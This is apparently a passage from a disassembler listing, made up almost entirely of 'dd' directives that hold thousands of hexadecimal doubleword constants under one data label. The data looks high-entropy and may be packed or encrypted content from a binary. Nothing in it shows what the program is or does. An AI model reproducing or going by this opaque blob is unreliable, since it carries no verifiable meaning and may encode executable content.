		dd 12014338h, 0AC0B4885h, 7EF0C064h, 0C0939592h, 853650E1h
		dd 0A4292518h, 41B110F8h, 440C00A1h, 0D920D29Dh, 684AC8h
		dd 8CE862DBh, 0AAF407h,	0A86F1382h, 791F1589h, 0F329A908h
		dd 5C4A06DAh, 0CC4C4883h, 0E43C1018h, 0BEE96000h, 0CD0C8FDh
		dd 0A848DAE7h, 0F380440Dh, 7C3609AEh, 0F4001322h, 9FCE4DDh
		dd 0A60F5DF0h, 81EDA04Eh, 0F3AFC428h, 0D452D0A5h, 955EEC02h
		dd 0C0F1671Eh, 162A719Ch, 44E8D1A4h, 0C8DDD62Ch, 790911C4h
		dd 63098FCDh, 0E4A6EB50h, 0B89F8446h, 3F8BE703h, 985DD692h
		dd 17A424Dh, 846A94A0h,	63F281A9h, 0E0D40000h, 21A3B139h
		dd 7A5E0769h, 0E62768CEh, 14907AC9h, 0CB8F6412h, 0B49128B0h
		dd 0E4E04BC8h, 0F900EB0Eh, 0CF6A21B5h, 0F8FC77A6h, 0FEAA242Ah
		dd 5091A5C0h, 99B3F37Bh, 0AF521900h, 2766BAAEh,	6229021Bh
		dd 718198DFh, 1CA4F858h, 100820h, 99A505A9h, 37D08FE3h
		dd 7431685Bh, 2402D3FAh, 6B15B4E1h, 0C8619C29h,	42053022h
		dd 0E14F764Ah, 18282BB8h, 0EBD33029h, 0A1EFA5A9h, 0A7E0E301h
		dd 0F07D21D7h, 102D1182h, 3499042Ch, 8348229Eh,	7297AE0Ah
		dd 0F8394059h, 0E4E086D2h, 491F084Fh, 6727AF99h, 77550320h
		dd 54C90409h, 1398277Ch, 0F0A38320h, 819510h, 17C4E1DFh
		dd 91C4853h, 96740344h,	0BF9C2C80h, 1B00AFA0h, 0B295E773h
		dd 5EC700Ah, 0A7CD806Ah, 9EE0C1C3h, 8FE260AFh, 0C08C2230h
		dd 485C91BEh, 8805C77Fh, 0C093D216h, 51310168h,	47126609h
		dd 5D8064C3h, 6D18848Bh, 49BB10FBh, 0D8305Dh, 8E0C82A8h
		dd 2C2676A6h, 6FCA0D1h,	20773449h, 78BE9A05h, 0A8A91CFBh
		dd 0FC4A8F15h, 0E8FD4815h, 0B1924C95h, 59583938h, 898A31A0h
		dd 84317C3Bh, 7A40992Eh, 7831F849h, 60E11C3Ch, 1203C087h
		dd 0B8C07F59h, 0FCA81C96h, 54D4724Ah, 0D7D8D8C0h, 76131D81h
		dd 6979E27h, 98A9888Fh,	7EC8C027h, 20909C98h, 0D6017498h
		dd 1C06D1F8h, 4A30E780h, 38874C91h, 72FA5210h, 788F6E0Dh
		dd 0C31B043h, 409F7E61h, 46BD0CE0h, 423C8A18h, 81712FC9h
		dd 4FC52964h, 0B73E874h, 1FBF6D37h, 12E31CE8h, 3906C82h
		dd 0DB755187h, 35B380C8h, 304B204Bh, 0F458CDh, 0E84CCB22h
		dd 6B2A8494h, 660C26B0h, 51471D7Fh, 0E140122h, 602A1257h
		dd 606F3180h, 0CF1E58D1h, 0D139EC68h, 4DB09308h, 0A48C74C2h
		dd 0C08075C0h, 0AC459E5h, 2329AA7Dh, 80FF85D4h,	3FC4F817h
		dd 0AC3FA53h, 2903F2Ah,	8FD7FBC0h, 0A05D27F4h, 2BF31D98h
		dd 0FA3827D4h, 987DA084h, 7B01D8D0h, 0A8F7BDDEh, 8C31EE57h
		dd 55D9420h, 0A0F3AD59h, 0A0DCEC8Fh, 0B17F354Ah, 0BFD913CCh
		dd 808AC707h, 0CB227DB2h, 0D6300458h, 0FC6F2A78h, 0E963E20h
		dd 0C09D3C5Bh, 674069E3h, 9228248Fh, 0FA4C9D5Ch, 99CDF285h
		dd 9CBC81A8h, 0CEA89EFFh, 0A4F5C740h, 946A0Eh, 0FD2F4FE4h
		dd 43D727DFh, 3D5FF302h, 50AC80F4h, 4B0A710Ch, 82D027ECh
		dd 0C48EE1Bh, 0F5810F79h, 0C3223032h, 5F6C801Bh, 98110F40h
		dd 37C9C199h, 620970D9h, 0D79410ABh, 1F2A1B76h,	80E85036h
		dd 0A72429BFh, 69813C74h, 0C342A101h, 8A14287Bh, 9B9F6005h
		dd 0B0779690h, 78A42CC5h, 17D8AC01h, 49749780h,	68418C90h
		dd 1420AF98h, 1070E56Ch, 38A8C955h, 4A44BC25h, 8714E7A8h
		dd 5983C742h, 73304C58h, 0CFAF3C9Ch, 24490F9h, 0D88749B2h
		dd 0B8D4AE2Ah, 9229802Dh, 0F0B0F4Bh, 8D40D3E6h,	2F08630Ah
		dd 0A6480C14h, 0B27F0042h, 77605E29h, 0E6430C89h, 0A11014E7h
		dd 1B63901Dh, 9900131Eh, 35FA77B5h, 9174004Dh, 8A67453Ch
		dd 82F02C04h, 77AA5601h, 38157E3Ah, 8F754080h, 0D424048Dh
		dd 50E7A53Bh, 0B57C882Ch, 0DFFA0900h, 20BE4C23h, 92340075h
		dd 0C4A63D9Ch, 45010B2Ah, 8E1B6597h, 388E9BA7h,	5F601EBAh
		dd 0D9D0EC06h, 68511160h, 0A59C67h, 0AA5B2377h,	0B326690h
		dd 690EB5ECh, 3D7E1B81h, 60A1B480h, 3820C28h, 4974459Dh
		dd 0E0038907h, 24299166h, 1FF000C5h, 0BBC1AD28h, 0A0E90A7h
		dd 0A0A47861h, 0EC465B56h, 0A33F01A0h, 5EDE48B3h, 5561C810h
		dd 0CBF97400h, 6728FC8Eh, 2ABE07A1h, 80BA4503h,	0A5CA2779h
		dd 613B0CBh, 0F078AA60h, 5CC83E8Eh, 0A2DDA00Eh,	2145CEC0h
		dd 2203F75Ah, 0F08E3E08h, 283877C0h, 28C49C71h,	18205B21h
		dd 59A02926h, 277F5657h, 48063D75h, 2D589154h, 0E5E729F0h
		dd 58281DC0h, 0C2C63029h, 9FC080F3h, 9B4977ADh,	7F10C352h
		dd 30003B31h, 642AC6A6h, 65827C2Ch, 82B48E5h, 102A91D0h
		dd 488B8080h, 0C51D769h, 7C2E4147h, 7B9E3536h, 44741018h
		dd 1B18963Eh, 0D57FA054h, 77D0B350h, 98A2E605h,	841DBEFAh
		dd 7E4B1081h, 2083BBBAh, 17D82979h, 7FF67805h, 844A4D38h
		dd 7D64B0D6h, 82045420h, 499C3750h, 8847DE30h, 0C05220h
		dd 89F9A231h, 3E4ECF62h, 45142BF8h, 12B022BFh, 841E128h
		dd 0A3D17FEEh, 0DF748083h
		dd 4AA11FEDh, 8DE1F0E3h, 841A00F9h, 5B9E2830h, 0F2D801F0h
		dd 252EB302h, 2958862Ah, 2450CB0Bh, 1DA4E7FCh, 62C34270h
		dd 0A8806489h, 0AFF704A5h, 26313F0Ah, 2912682Ch, 0E5DF2400h
		dd 3CB55AF3h, 1400DB20h, 6F10CF86h, 10C5CCA1h, 0C23F321h
		dd 29383E2Bh, 0C94877B0h, 0F8A955FAh, 44E8EBBDh, 0D849D70Eh
		dd 8E8061CCh, 1086AFA4h, 40132AB5h, 0B082E7E4h,	48BE8E3Ch
		dd 0DE007425h, 63CDC1CEh, 867BA421h, 4E2635E4h,	0F7153032h
		dd 5C560FDCh, 745D8682h, 984A7486h, 8442018h, 2039A600h
		dd 19ADCD7Dh, 1D3892E2h, 32DA8ED7h, 8892D290h, 4601FA81h
		dd 3402218h, 1D29F167h,	0C710007Ah, 8663D6D7h, 0B93B0851h
		dd 297C06A9h, 4820470Eh, 0FC54B81Ah, 48BF0CFFh,	9F10A637h
		dd 1C1FA0C0h, 0F0814F22h, 9D8F01A2h, 0E0297104h, 4C61BE6Fh
		dd 63490C38h, 839E38FAh, 4304C8C1h, 211035B0h, 0C11F855Ch
		dd 0AFF0804Eh, 0FE8D4D67h, 701B6E00h, 210B86A6h, 26E4007Eh
		dd 0CBA740B3h, 0E31CCAF8h, 4242E0F1h, 48C42D28h, 2A8F48F0h
		dd 2EBC2670h, 3FEEF5FFh, 7C2D247Ch, 0FC4550F4h,	0E43D8882h
		dd 3FC9EA08h, 668EA506h, 0BF0B2880h, 452328h, 0DD7AD646h
		dd 323900CAh, 0B17220BBh, 253933ABh, 8F823D26h,	81217117h
		dd 0C15709B4h, 0A1D5F0h, 0ED6462FAh, 4CA89AE7h,	45AC5102h
		dd 890C3F49h, 711C2A88h, 0C84C6030h, 49050A97h,	18909F25h
		dd 7F6120E4h, 6660B60Fh, 7DC95A7Eh, 274680C0h, 0C8F0D148h
		dd 8376477Eh, 0B8F004D5h, 0E8C61B2Eh, 299740h, 766AC2A4h
		dd 0E2A871F6h, 33882654h, 0FE9781h, 9DAD7EEh, 47E27FFEh
		dd 58E5F12Ch, 88029C22h, 488ED463h, 0D11C4041h,	0E61F0B46h
		dd 1004A92Bh, 96A80214h, 9C58C04Dh, 0D8D0A021h,	0C4D103B4h
		dd 0FF3148C2h, 8FE6B000h, 56FAF271h, 2F5D2629h,	0BBE780C4h
		dd 8ECD9142h, 40328332h, 1B06690h, 43C1E71Fh, 347041FFh
		dd 823E14ACh, 33B400A8h, 8DD84A11h, 29510C83h, 2B380485h
		dd 2A453B2Eh, 7B3D3E3Ch, 1C184B65h, 0E4E72C00h,	3F25881Eh
		dd 0E6941107h, 0BD13088Ch, 8F200C26h, 0BB308E50h, 0FAC6D934h
		dd 897D1F01h, 0F903C951h, 5E8818A3h, 0A7955C7h,	41D8DF94h
		dd 1B96149h, 6C3124CEh,	5E4B449h, 0E7F30F1Dh, 800F8E90h
		dd 9C5811E3h, 16E8204Dh, 0B053FB41h, 0CA293C42h, 7FFC0034h
		dd 88AA4EF5h, 3BB6F440h, 99731A0Eh, 8758C87h, 1F4301D0h
		dd 0CC482E2Bh, 0E148244Dh, 18271424h, 3889C95h,	8F7E5826h
		dd 6AF010B5h, 0BD637533h, 0D75B10h, 9DC7B7D0h, 0A8C9B5A7h
		dd 28674274h, 1185449h,	400378A0h, 0B2342021h, 0B102A303h
		dd 805920BDh, 2410BC16h, 0EFD8142Ch, 0E89C5546h, 540BB493h
		dd 8260096Ch, 913C9318h, 0A830F7C8h, 4A8E138Ch,	44E0429Eh
		dd 0E0E6EAE6h, 406B6443h, 855E004h, 91921034h, 7FF81FB0h
		dd 9403718h, 0CFB58C7h,	0F2302EC1h, 9905DBADh, 33FA3BA6h
		dd 0D054080Ch, 587C9837h, 0BC2A6893h, 1EBB008Ch, 0A4C748DBh
		dd 8BFBED7Fh, 8964A030h, 0B09422C4h, 864CC910h,	8203E430h
		dd 6CD93440h, 0A6F3B202h, 865A203Ch, 60587C08h,	0A267E165h
		dd 0FF65B729h, 0B8815F10h, 0DC41AD8Fh, 70965842h, 0BB6841AAh
		dd 0BC74B1C9h, 0A4B85171h, 0D5629CA8h, 49890032h, 4600917Ch
		dd 80CA16CEh, 3BF98E7h,	28A6E6D1h, 28123B25h, 0B4020C93h
		dd 605404BAh, 0F7B37FC4h, 3C207C61h, 42FC45B1h,	0A88E97C8h
		dd 0DED0F052h, 0A9A4800h, 0BD1BD244h, 895E00CAh, 67917F52h
		dd 0A97D20D3h, 0A06041EEh, 0C2297E50h, 0C4E382E0h, 98309FC1h
		dd 53385E11h, 26E53857h, 0BEF83E81h, 0C8744188h, 63002449h
		dd 729B46CCh, 3EA2CB20h, 9E3DE54Ah, 789C767Ch, 4B833CA8h
		dd 6137CF38h, 18D7E018h, 0DB4CD18Eh, 0A0C900A2h, 17AD3EE4h
		dd 0EC9500AFh, 0D172466Eh, 453C154Ch, 0C0849E68h, 704D18B1h
		dd 0A0E32447h, 22180041h, 6A1AD166h, 39013291h,	516183Bh
		dd 0DCD0C0AEh, 71300CF7h, 0ED38C719h, 5DB4B000h, 0D1E5C2A9h
		dd 0E450CF2Fh, 9034888Ah, 3A2EC40Ch, 0AA10C900h, 0D6DFC5CAh
		dd 0C719EE18h, 0CF39C0DEh, 2CE70C8h, 0B96D270Ch, 73610EEh
		dd 47DED05Eh, 2FE7F3DCh, 95055803h, 7BFE20E5h, 0AFCB0C68h
		dd 6D817354h, 9D579701h, 244E4583h, 7218F200h, 16264418h
		dd 0F3E2AF10h, 585031BEh, 206A06E5h, 695DC371h,	85BBBE01h
		dd 4D80C702h, 0D30130BEh, 58646A3Ah, 0D1108F1Ch, 0A0B81412h
		dd 31610843h, 0C7F830C9h, 0D12040D8h, 0E5106A2Ah, 983B384Bh
		dd 6918A43Ch, 684910E2h, 8931267Ah, 6A627139h, 187A544Ch
		dd 89B9A20h, 0CF60E971h, 0FFF6DE18h, 10F8C009h,	74893D6Ch
		dd 0F8DCEC00h, 2977B198h, 0B971316Ah, 0C8CDC049h, 7B3245AAh
		dd 8041B83Fh, 0E515D4D4h, 0B1E66134h, 4083C443h, 4B7BCB60h
		dd 2A24701h, 0FCFFE522h, 14450424h, 0EC49BDF4h,	0F7CFE200h
		dd 7B0918DEh, 784D4E00h, 0EECB517h, 6A960104h, 0E9AFA349h
		dd 0FD589E40h, 0D740D068h, 4598A0CAh, 0FFDD382Ch, 0FEF3B181h
		dd 0D0D1F6C9h, 4AE480C1h, 1E72E9E6h, 70196138h,	27AEFF6h
		dd 36C00774h, 5C240487h, 0AA3670Fh, 0D0E6E39Ch,	0BC641C39h
		dd 11DE3032h, 7202E0C0h, 0C2881F2Ch, 74814C58h,	3CDE8F56h
		dd 1065A80Ch, 1F17E01h,	910C68C1h, 0D7875E6Ah, 49D82210h
		dd 5BF83870h, 4E2CF01Fh, 52405A66h, 88E3B050h, 3D5EC663h
		dd 57819E1h, 442D3504h,	895C0C05h, 0F116B158h, 5B01C830h
		dd 76E2E9C3h, 0C5812680h, 0DB298D73h, 5DEE0104h, 5CC0F331h
		dd 1D685BD9h, 3E275456h, 8BCD290Ch, 0C401834Ch,	1C6F0904h
		dd 1FE734FFh, 68815D07h, 0B0E91940h, 0D85B0A64h, 0AAC7EE0Ah
		dd 81C1C380h, 144302ECh, 51D8ED7h, 0B60F27EBh, 87980FC0h
		dd 8EAD31CAh, 332BF681h, 0D6F77982h, 47BD5743h,	327DE2D8h
		dd 0F86281C2h, 14DE504h, 0E80B44B9h, 0FA8029E1h, 8632B605h
		dd 503E5620h, 5A7705B8h, 0A7008914h, 5378CE81h,	4E5F0CD4h
		dd 0F7BFA5E9h, 0ED06DD7Eh, 62F632BEh, 1B3F000Ch, 0EF3146C9h
		dd 4C6560E9h, 8F1E332Ah, 2A49E4AAh, 18523B3Bh, 89220B34h
		dd 0FE54FC14h, 120A6597h, 0ECAA2066h, 1C638904h, 1E18A53Ch
		dd 0C75DEA31h, 0C0C15AD1h, 26E18108h, 6B581C1Eh, 0B5053D7Bh
		dd 170D5FC3h, 668152D3h, 81E68956h, 0A1C949C6h,	119BBF4h
		dd 0DC4033F4h, 0DAD9F7E9h, 1B883CACh, 10423AD0h, 2907F00Dh
		dd 60575AD7h, 8B042474h, 0FAAC3C74h, 0E95C73A8h, 53F95030h
		dd 0E809EF68h, 926FF65Fh, 9881766Eh, 4F471FDFh,	67030C50h
		dd 24718B18h, 585254F2h, 0B9625442h, 870C49F2h,	0E4F75110h
		dd 0DF9930E9h, 66D83068h, 891CB1F8h, 0C80EC404h, 53E9832Ch
		dd 4F44505Dh, 462086C5h, 0CB293E30h, 1390C381h,	24876BADh
		dd 3A53A67Dh, 0E52A78DAh, 0E9154637h, 1EA50D5Ah, 0C60A5EF7h
		dd 89AA623Ch, 9835820h,	0C8279835h, 3F150D5Eh, 21E9082Ch
		dd 0BB53050Eh, 33DC3FBh, 8A4902DAh, 38595168h, 56550162h
		dd 45F92E80h, 91BE682Ah, 83647904h, 0B782DE29h,	868BA8BAh
		dd 3E8C2415h, 28B9196Ah, 99A85942h, 24671B2Bh, 89CC0903h
		dd 68389C44h, 0B6200700h, 0D93994E9h, 0FDC3D23Ah, 29032253h
		dd 2109FB5Bh, 0F1C586D8h, 9850907Ch, 10CC42Bh, 881784FAh
		dd 1FA1521Eh, 9B43145Ah, 182E56E9h, 0C5CE34EFh,	0C75281E7h
		dd 2CA85084h, 0BB1CDA60h
		dd 10E61B4h, 4EE3817Ch,	900F9E72h, 0C3422246h, 68C28652h
		dd 0C49953C7h, 633057BAh, 0FD81F05h, 9F07F281h,	0E90CAB1Ch
		dd 77336B26h, 0F67C33E1h, 0CAAE3184h, 0D46A8AF2h, 690B8012h
		dd 72271182h, 0DD80C144h, 0E0B2B17Fh, 84B490C1h, 4DE97487h
		dd 7F480751h, 0C130C834h, 0A8F34834h, 77BFF53h,	8649BDF4h
		dd 59EF03A2h, 40692D0Ah, 0E4CA47F2h, 41A2F2D1h,	26483D8h
		dd 0D9D2F766h, 3E894FA0h, 0E7B2EB28h, 9804BB4Ah, 1302CB87h
		dd 5C442C89h, 0EC88FE59h, 0FD407426h, 0E999EC44h, 0D4AAAFFAh
		dd 4CA6DFFAh, 72B3E943h, 0F3200E42h, 0DA69805Ah, 4A6E00Fh
		dd 0FCC0DD59h, 891644A6h, 58C1F6CAh, 0A81BCBEAh, 0E2C0225Ah
		dd 0C2078104h, 44536ED5h, 7E7879E3h, 9D1AD4AFh,	937AEC4h
		dd 83900401h, 41870482h, 2E265C0Eh, 0C8EF507Dh,	5B6540D5h
		dd 9CA15D90h, 0F6B280E5h, 80CCFEDCh, 0F4CCFBC4h, 0E330078Eh
		dd 32A2C58h, 8BA104D8h,	57AC481Ch, 0E9906090h, 3B81740h
		dd 74F27BA1h, 0D21BE0C1h, 0CE9D2A8Fh, 36E214F8h, 0F579A9C3h
		dd 0D8645015h, 65DBB849h, 33E91F09h, 52E3B1D2h,	348694C6h
		dd 44FCEA83h, 3DDEDC5h,	92F78853h, 0A71F60FCh, 502FA829h
		dd 79032A68h, 20509AADh, 81487CF5h, 49AF020Ch, 625B7EEFh
		dd 5A0705A4h, 6084AD0Fh, 29E94BD0h, 0EC5F9A7Bh,	66F5C9BFh
		dd 80C32800h, 501C1CCBh, 0A82888B4h, 0F117042Eh, 5F90AA20h
		dd 0E2B028EAh, 0B353661Fh, 34992C8Fh, 52F574B8h, 0CD4251B9h
		dd 770CABC2h, 0C48A020Ch, 436320B0h, 9311BF01h,	0FD29D6CDh
		dd 9ABE4F60h, 8968132Bh, 7ED26322h, 838934CDh, 1E892ABEh
		dd 580E2067h, 4811E0A9h, 0FD5C4CC5h, 68B8C69h, 6CD5F7A5h
		dd 81422A80h, 0F646E7EAh, 0AB01072Ch, 8709432Bh, 7A89993Ch
		dd 0BB9909DEh, 0E90D0E1Ch, 2676E0B4h, 54207B74h, 0DFE8AE60h
		dd 8F709562h, 0E88A5C3Ch, 0D3A32C8Bh, 4D6843B4h, 0AC5B1024h
		dd 0A0B9023Dh, 617C1CA9h, 148E87FFh, 1152CB88h,	59298AB7h
		dd 81892059h, 0C3D5F3E0h, 0C80E64D6h, 0E9850224h, 0A344CDD1h
		dd 0A0C3CFEDh, 4C9BDBAAh, 5D643721h, 0C00B605Bh, 6C84250Fh
		dd 5152BD00h, 4112D668h, 0A5641842h, 0CE07E75Ah, 805CFEC0h
		dd 0E63168ACh, 7FAF9164h, 0CC38850h, 6A013B6Ch,	446BF307h
		dd 0BF57009Dh, 0F0F6914h, 6BE94F08h, 80BCA941h,	54EBED9h
		dd 51020157h, 823C5CB9h, 6E87022h, 267E3313h, 0E7A3C08h
		dd 86E6C201h, 4390E2Bh,	8693241Fh, 51042C1Dh, 84832AB5h
		dd 5BDD8010h, 38CD3980h, 28E5C580h, 0A10459E8h,	6D8A6818h
		dd 8189B7BDh, 0D0F6FC34h, 1A9A04DDh, 0CD2B6008h, 0C2A88B1Dh
		dd 7D2E0A33h, 0D000994Dh, 0C19C8FBDh, 0E90716EDh, 285640F9h
		dd 0B7535AF0h, 0CFFE3218h, 0B96E5046h, 0B81ABC82h, 0B80F1114h
		dd 0E6BB4BFEh, 5222EB2Ch, 18BFBCB1h, 360B2955h,	3827D8CAh
		dd 25FDD268h, 0F598B5Ch, 19069037h, 2D0CD24Bh, 82D44076h
		dd 4764771Eh, 83047234h, 0A81C5EDh, 94F95C76h, 6503A750h
		dd 0F0E959B4h, 0C55143EEh, 39E1E2AAh, 15C01CEh,	0E3100339h
		dd 0ED8100C9h, 0E342239h, 9BDD5129h, 51200805h,	8135EEE9h
		dd 2373401h, 0F73EE7BAh, 0B17087D8h, 0C7F580FBh, 48DD9DC3h
		dd 8DDEE61Fh, 4D1412BCh, 485E50D6h, 502E0D1h, 7BDD5E37h
		dd 0D454851h, 0F71A1D47h, 6ED83AD7h, 0AF61AC6Eh, 30404342h
		dd 6B3D443Ah, 0F9899249h, 24333908h, 521709FAh,	0F205BE46h
		dd 41156748h, 218C5380h, 0E654CA6h, 374D6206h, 8B1E0C3Bh
		dd 0AC7D8433h, 0F109D0E1h, 974B01B3h, 0BC26C889h, 92E94009h
		dd 0CEBFB4AAh, 0E1A6FB6Fh, 0C0251A03h, 0F24B33EDh, 58F1A0FAh
		dd 4ADB85Eh, 112772Ah, 8413AAE8h, 56A4A51Dh, 155A508h
		dd 0C95F4468h, 0E7F0CF28h, 0F904702h, 0C6762AE4h, 80EE3F4h
		dd 0A181D3F7h, 5ED94210h, 15211A4h, 29DC3ECDh, 0C73630DFh
		dd 2D23C500h, 5FF88903h, 0E6B048h, 7C4F0D04h, 6D3541B3h
		dd 0F5B7FE14h, 3B3805B8h, 0EE091668h, 1A7A0055h, 905E8525h
		dd 77331857h, 44EA0CA4h, 75F44902h, 485AD589h, 1857DDC0h
		dd 0E456F62h, 0D0049052h, 5DEF015Fh, 8B2070A5h,	8AB98039h
		dd 7C717800h, 7B575E2Dh, 0C829096Eh, 571156E9h,	777370EFh
		dd 33591890h, 0F2121805h, 58D9011Eh, 414C965Bh,	1FE98C98h
		dd 5603BCBAh, 9918AA68h, 0F6B41B22h, 1A120F8Eh,	188837B3h
		dd 0B31E2BDh, 6C81721Dh, 50E85E00h, 16F6216h, 0C448A11h
		dd 6E266B4Ah, 26C2E9E1h, 7520DB80h, 0D1F73F63h,	25623690h
		dd 78E6E911h, 4FB80567h, 4047905Eh, 782635C9h, 50218B0h
		dd 65FC372Dh, 7FC18048h, 256AD37Ch, 9D05C9E9h, 0ED788CB8h
		dd 0D01A2502h, 88C52932h, 0E91E08BCh, 0C69609E7h, 94A8F67Dh
		dd 31552911h, 0F55E5416h, 57CB75D2h, 1E0883E4h,	2440665Dh
		dd 4C043243h, 0C281E3ADh, 36075319h, 63E19168h,	0CB018774h
		dd 8D00325h, 6435E956h,	80C2C10Bh, 5875B559h, 0AA220ED3h
		dd 31B3C133h, 40226B74h, 0C3668928h, 41253478h,	0D06B21Ch
		dd 1643645Ch, 10595451h, 0F6C4D066h, 0C180020Fh, 59FCC1C3h
		dd 4C665560h, 123EAB5Bh, 0FEB13EFCh, 0EDBF698h,	0E373C006h
		dd 0F50CF3FAh, 0F51DEBE9h, 0BF681E66h, 80119354h, 2ACC8062h
		dd 0C61FECE6h, 274DE628h, 26972E09h, 0FFAA4734h, 0C71AD230h
		dd 59CF6348h, 5F44559Eh, 302633E3h, 310246E1h, 295F2Dh
		dd 3147CCC8h, 4A5E7360h, 68B928C8h, 8C5A2826h, 34AB396Bh
		dd 43B8001h, 0D734C384h, 36331583h, 0D06317Ah, 4E295C4Eh
		dd 13480609h, 0AE4649E9h, 4B92B903h, 60006BC4h,	7A804A11h
		dd 24247C01h, 47AA5F08h, 5EFF63ACh, 10414CEBh, 290A02DBh
		dd 0F9088C87h, 2405CD12h, 0C4709559h, 683502EDh, 0F8A25627h
		dd 7097BA2h, 7785049Ah,	0C680DE40h, 70B1516Eh, 59CE303Ch
		dd 0DD049812h, 683F16B8h, 0A163CF47h, 72F16054h, 386F3AF4h
		dd 7EFC2CAh, 9D215A0Ah,	2E42EB2Ch, 5183090Ah, 95142D94h
		dd 25E4CC06h, 22931256h, 0F1069C6h, 0ACE5AB1Eh,	0FFC5009Bh
		dd 0E977B050h, 0E0E04D3Bh, 68521211h, 613A665Ch, 281277E5h
		dd 0F4C35AD0h, 527491E6h, 313F7220h, 0F252DA88h, 0B8CACC56h
		dd 0E918F679h, 0B73A50C0h, 9093B8E0h, 837E54B5h, 5B5F09FAh
		dd 8DC8D101h, 6880D07Ch, 242F4A92h, 16AE80D5h, 2A51936Ch
		dd 69B500DAh, 0F73C628Dh, 0EDEE01DEh, 89F3E7D7h, 13227CE7h
		dd 4EC5031h, 9548E141h,	0B7AEC85Eh, 0DE2D0F4Ch,	3D806A12h
		dd 24E38953h, 62F1C381h, 0BF000188h, 9EC4C17h, 27A6681Ah
		dd 8C2009C6h, 41D34118h, 0DBC6AEh, 0B85BDD89h, 303A2079h
		dd 5C153F96h, 226689C7h, 0CC539E1h, 86E4DCC2h, 62264E7Bh
		dd 1497A2FBh, 0F5992025h, 683E7226h, 6E433AACh,	0FD46E56Bh
		dd 0D6E9510Ch, 772950FCh, 72525F2h, 89C483A8h, 0DB24054Ah
		dd 0BC4780D7h, 26587B6Fh, 302201FEh, 58E93A92h,	47751DAh
		dd 0C8AB0F66h, 0C45AD52Dh, 3C8B0F31h, 5296D6Dh,	0C29D96AEh
		dd 0DB6959AEh, 69C0CEF4h, 33B1C4F6h, 7F2F13BCh,	263505CDh
		dd 11162BF5h, 34CF5332h, 0F6B141FEh, 685ACE82h,	0D7984D82h
		dd 0C09835B3h, 0EB800308h, 0CCB2EADh, 5963EE88h, 0E089501Fh
		dd 0A0C1A696h, 0DD911CF6h, 315C0367h, 778F66C3h, 2917C7CAh
		dd 0E41374D0h, 0AB76F246h, 312F3712h, 44019F12h, 54E20572h
		dd 626520h, 8732F443h
dword_4E794C	dd 31E949CEh, 0DF41174Ah, 10970CABh, 0C3DE6CECh, 0D4F6ECA3h
		dd 5258E5A0h, 0B5C4B224h, 2D73BD28h, 0E92FEA1Dh, 0BD9C04ADh
		dd 2CE8C0CCh, 0CA5E575Dh, 0C3E90596h, 0A44DF4F2h, 1341F0F0h
		dd 3DC6365Ch, 0CE50344Eh, 2B2B94B4h, 75638D93h,	43A1D817h
		dd 3189648h, 760136EDh,	42CD9A3Eh, 98080B44h, 0E2E92986h
		dd 4E314E7Bh, 672599Eh,	913E689Ch, 52507FB8h, 2332E9D2h
		dd 0F05DB6F7h, 35427AB1h, 8014E2C4h, 488FEB29h,	0C5BC630h
		dd 3741D6DEh, 0F054012Ch, 754045F5h, 7BB31D50h,	37B12D18h
		dd 394B212Ah, 0F7802536h, 59B850D3h, 0FC50286Ch, 43C058F6h
		dd 99E9EA89h, 654D9E26h, 2200F259h, 0D931121Fh,	20E11D5Bh
		dd 5F90807Eh, 0B520827Ah, 0B60902Ah, 3E5852FBh,	9537592h
		dd 0B951E300h, 0A2C7841h, 6E1C14Eh, 536403B4h, 0A0B75A26h
		dd 32E35F28h, 4C5E0CC1h, 98F30DE1h, 96520B6Fh, 81D3E8Ah
		dd 0F9298510h, 0CBA1C45Fh, 0B9E908F1h, 0C9822C1Bh, 79A46968h
		dd 0D63E2483h, 62B40BAEh, 0E98924C5h, 5AAABB6h,	11849973h
		dd 839FDEE2h, 0D728F5C7h, 86E0EFAAh, 468132B4h,	6FA6E6D9h
		dd 53442C67h, 0FA340485h, 5816CCCDh, 4D98E29Ah,	0CBED4ECBh
		dd 5868BAC1h, 0E8D10902h, 9461D8F7h, 4340F456h,	0DD32E6A9h
		dd 24C335B1h, 0B52668A1h, 16F2009h, 3102379Ch, 52B04C28h
		dd 456936E9h, 0FBBC320Ch, 52050B2Ah, 8BB84031h,	4F02933h
		dd 0A794855Ah, 7AC409A2h, 0B268063Bh, 59CFF40Bh, 768A484Eh
		dd 301DA189h, 0B77F448Eh, 0CD3F48h, 3B676C89h, 2E57DD29h
		dd 857260E9h, 925B4C2Ch, 0F0C117F3h, 7CF47784h,	80789780h
		dd 4F0B0540h, 85A2E38h,	0C18496E2h, 12C202EBh, 33602901h
		dd 0BB2AE943h, 0B6FEFF72h, 0C5909BB0h, 201C5AEAh, 3212E9D8h
		dd 30790FB3h, 0CEC53DE3h, 0E8246A6Dh, 0D8039C52h, 0E013222Eh
		dd 1D2A96E6h, 9FC1340Eh, 0B0F6C003h, 116D508h, 0F3ABF550h
		dd 0A46E734Ch, 0A713CEE2h, 603ACD2Eh, 0FCAC3EB1h, 920EC827h
		dd 0C6DCCAC4h, 0F7ECD0A8h, 0BF6291E5h, 81B17C02h, 656840D7h
		dd 4887B60h, 29E444E3h,	0EBE680D3h, 1F3110E9h, 0EFA5206h
		dd 31606CF1h, 1B6880D1h, 0DE988092h, 2014EB60h,	0D6658E3h
		dd 3033B551h, 4AA73144h, 47291202h, 2B689202h, 216EA97Eh
		dd 4F6FE938h, 5D3C4C23h, 59D64696h, 7D5E15D1h, 60D510DBh
		dd 87B80133h, 685C4804h, 8B35DCBh, 2A829210h, 26A5BC54h
		dd 19156885h, 2C83AD32h, 5B525EA8h, 2B8F3227h, 9F44825Ch
		dd 188CACC0h, 5A5FA108h, 83A2E66Ch, 7F86680Bh, 0ECC08059h
		dd 0F4800700h, 88515372h, 0FFCFE4E1h, 945BFDD4h, 322C509Fh
		dd 74E8283Eh, 30596601h, 480E68C3h, 0FCB86B50h,	65F09E03h
		dd 907F6434h, 0FB778B9Ah, 0EAC12107h, 3C308107h, 0B8584501h
		dd 0C78C0220h, 0D6899BCFh, 3814A1A9h, 9C12E54Ah, 0F08189B1h
		dd 315E7397h, 7C372057h, 29825D03h, 0A380EFBFh,	5AD7E926h
		dd 0CA04C9CEh, 2F78E910h, 0A121BD93h, 0A4B48969h, 96E25AC9h
		dd 0E0D0E9C5h, 347D2D19h, 5036E00h, 556F20DFh, 0A2D87C29h
		dd 9A863A07h, 68C0844h,	749A2C99h, 502E8228h, 0BFA508C2h
		dd 7C3C310Dh, 0D28B09CEh, 2195A486h, 5047CB0h, 351F1271h
		dd 0F0916882h, 0C885320Ah, 812C804Ah, 3F260968h, 0E82022DFh
